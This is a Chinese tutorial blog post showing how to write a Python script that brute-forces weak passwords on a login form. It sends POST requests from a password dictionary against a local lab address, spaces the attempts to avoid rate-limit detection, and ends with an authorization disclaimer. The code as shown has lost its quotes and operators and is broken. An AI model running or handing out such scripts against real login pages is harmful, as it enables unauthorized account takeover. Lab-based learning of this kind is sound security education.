ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

《Python安全脚本实战:用POST请求实现登录框批量弱口令探测》

《Python安全脚本实战:用POST请求实现登录框批量弱口令探测》 前言上一篇我们搞定了GET请求的存活探测。但真实的渗透场景中我们经常会遇到登录框。这时候就需要用POST请求来提交表单数据。今天这篇文章记录了我如何从零写出一个基础的“登录框弱口令探测脚本”。一、核心代码拆解1. 构造POST请求和GET请求不同POST请求需要用 data 参数来传递表单数据import requests import time url http://127.0.0.1:8000/login.php data { username: admin, password: 123456 } headers { User-Agent: Mozilla/5.0, Content-Type: application/x-www-form-urlencoded } response requests.post(url, datadata, headersheaders, timeout5) print(f状态码{response.status_code}) print(f响应长度{len(response.text)})核心思想通过对比登录成功和失败时返回的“状态码”和“响应长度”的差异来判断密码是否正确。2. 读取字典文件为了批量尝试密码我们需要从外部读取一个密码字典with open(passwords.txt, r) as f: passwords f.read().splitlines()把密码写在单独的 passwords.txt 文件里每行一个比硬编码在代码里更方便。3. 循环爆破for循环把字典里的密码逐个取出来提交给登录框for pwd in passwords: time.sleep(1) # 每次尝试间隔1秒防止触发风控 data { username: admin, password: pwd } try: response requests.post(url, datadata, headersheaders, timeout5) print(f[*] 尝试密码{pwd} | 状态码{response.status_code} | 长度{len(response.text)}) except: print(f[!] 请求失败{pwd})该脚本运行反馈运行脚本后它自动读取了字典里的弱口令逐个提交给登录框虽然本地服务器反馈501但是也证明了逻辑没有问题以后换成支持post的靶场就能直接看到结果二、踩坑记录1. data 字典少逗号username: admin 后面忘加逗号导致后面的 password 报错SyntaxError。这个坑和上一篇的“缺逗号”一模一样。2. 漏了冒号password 和 123456 之间的冒号没写同样报语法错误。3. 忘记 import time这次又忘了导入 time导致 time.sleep 报 NameError。这个脚本仅用于在本地靶场或已获得授权的环境中测试未经授权绝对不能用它去尝试任何真实网站的登录框。爆破真实目标属于攻击行为会承担法律责任。白帽子和黑帽子的区别不在于技术而在于“授权”和“底线”。
返回列表